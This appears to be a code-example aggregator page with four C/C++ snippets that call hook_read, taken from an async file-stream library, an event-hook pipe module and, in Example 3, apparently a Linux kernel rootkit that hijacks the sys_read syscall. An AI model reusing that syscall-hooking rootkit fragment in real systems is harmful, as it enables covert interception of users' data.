示例#1
0
aio_fstream::aio_fstream(aio_handle* handle, ACL_FILE_HANDLE fd,
	unsigned int oflags /* = 600 */)
: aio_stream(handle), aio_istream(handle), aio_ostream(handle)
{
	acl_assert(handle);
	acl_assert(fd != ACL_FILE_INVALID);

	ACL_VSTREAM* vstream = acl_vstream_fhopen(fd, oflags);
	stream_ = acl_aio_open(handle->get_handle(), vstream);

	// 调用基类的 hook_error 以向 handle 中增加异步流计数,
	// 同时 hook 关闭及超时回调过程
	hook_error();

	// 只有当流连接成功后才可 hook IO 读写状态
	// hook 读回调过程
	hook_read();

	// hook 写回调过程
	hook_write();
}
示例#2
0
bool aio_fstream::open(const char* path, unsigned int oflags, unsigned int mode)
{
	ACL_VSTREAM* fp = acl_vstream_fopen(path, oflags, mode, 8192);
	if (fp == NULL)
		return false;
	stream_ = acl_aio_open(handle_->get_handle(), fp);

	// 调用基类的 hook_error 以向 handle 中增加异步流计数,
	// 同时 hook 关闭及超时回调过程
	hook_error();

	// 只有当流连接成功后才可 hook IO 读写状态
	// hook 读回调过程
	if ((oflags & (O_RDONLY | O_RDWR | O_APPEND | O_CREAT | O_TRUNC)))
		hook_read();

	// hook 写回调过程
	if ((oflags & (O_WRONLY | O_RDWR | O_APPEND | O_CREAT | O_TRUNC)))
		hook_write();

	return true;
}
示例#3
0
文件: hookrw.c 项目: clflush/suterusu
asmlinkage long n_sys_read ( unsigned int fd, char __user *buf, size_t count )
{
    long ret;

    #if __DEBUG_RW__
    if ( memstr((void *)buf, "filter keyword", count) )
    {
        unsigned long i;
        printk("DEBUG sys_read: fd=%d, count=%zu, buf=\n", fd, count);
        for ( i = 0; i < count; i++ )
            printk("%x", (unsigned char)buf[i]);
        printk("\n");
    }
    #endif

    hook_read(&fd, buf, &count);

    hijack_pause(sys_read);
    ret = sys_read(fd, buf, count);
    hijack_resume(sys_read);

    return ret;
}
示例#4
0
文件: hook.c 项目: alco90/soml
/** Initialise the event hook if specified.
 *
 * This function creates two pipes, forks, redirects the child's stdin and
 * stdout to/from these pipes, then executes the hook program
 *
 * The hook program is expected to first print an identifying banner (\see
 * HOOK_BANNER), then wait for commands on stdin.
 *
 * Though a reverse pipe is also created for the hook's stdout to be available
 * to the main server process, it is not currently used for anything else than
 * getting the banner. Also, a read(2) on it from the main process is blocking.
 */
void
hook_setup (void)
{
  int pto[2], pfrom[2];
  fd_set readfds;
  struct timeval timeout = { .tv_sec=5, .tv_usec=0, };
  char buf[sizeof(HOOK_BANNER)];

  if (!hook)
    return;

  if (pipe(pto) || pipe(pfrom)) {
    logwarn("hook: Cannot create pipes to `%s': %s\n", hook, strerror(errno));
    goto clean_pipes;
  }

  hookpid = fork();
  if (hookpid < 0) {
    logwarn("hook: Cannot fork for `%s': %s\n", hook, strerror(errno));
    hookpid = -1;
    goto clean_pipes;

  } else if (0 == hookpid) {            /* Child process */
    close(pto[1]);
    close(pfrom[0]);
    dup2(pto[0], STDIN_FILENO);
    dup2(pfrom[1], STDOUT_FILENO);
    execlp(hook, hook, NULL);
    logwarn("hook: Cannot execute `%s': %s\n", hook, strerror(errno));
    exit(1);

  } else {                              /* Parent process */
    close(pto[0]);
    close(pfrom[1]);
    hookpipe[0] = pfrom[0];
    hookpipe[1] = pto[1];

    /* Wait for banner or timeout */
    FD_ZERO(&readfds);
    FD_SET(hookpipe[0], &readfds);
    logdebug("hook: Waiting for `%s' to respond...\n", hook);

    if(select(hookpipe[0]+1, &readfds, NULL, NULL, &timeout) < 1) {
      logwarn("hook: `%s' (PID %d) not responding\n", hook, hookpid);
      hook_cleanup();
      goto clean_pipes;
    }

    /* Only hookpipe[0] was in readfds, so we know why we're here */
    if(hook_read(&buf, sizeof(buf)) <= 0) {
      logwarn("hook: Cannot get banner from `%s' (PID %d): %s\n", hook, hookpid, strerror(errno));
    } else if (strncmp(buf, HOOK_BANNER, sizeof(HOOK_BANNER)-1)) {  /* XXX: Ignore final '\n' instead of '\0' */
      buf[sizeof(buf)-1]=0;
      logwarn("hook: Incorrect banner from `%s' (PID %d): `%s'\n", hook, hookpid, buf);
      goto clean_pipes;
    }
    loginfo("hook: `%s' in place\n", hook);
  }

  return;

clean_pipes:
  logdebug("hook: Giving up on `%s'\n", hook);
  close(pto[0]);
  close(pfrom[0]);
  close(pto[1]);
  close(pfrom[1]);
  hook_clean_pipes();
}

/** Determine whether an event hook has been enabled
 * \return 1 if hook enabled, 0 otherwise
 */
int
hook_enabled(void) {
 return hookpipe[0] >= 0 && hookpipe[1] >= 0;
}

/** Write commands to the event hook.
 * 
 * This function writes commands into the pipe connected to the event hook's
 * stdin. It takes the same parameters as write(2), but skips the file
 * descriptor.
 *
 * \param buf buffer from which +count+ bytes of data will be read out andwritten into event hook's +stdin+
 * \param count the number of bytes from +buf+ to write into the hook's +stdin+
 * \return the same as write(2), and sets +errno+ accordingly
 */
ssize_t
hook_write (const void *buf, size_t count)
{
  int n;
  if (-1 == hookpipe[1])
    return -1;
  logdebug("hook: Sending command fd %d: '%s'\n", hookpipe[1], buf);
  n = write(hookpipe[1], buf, count);
  return n;
}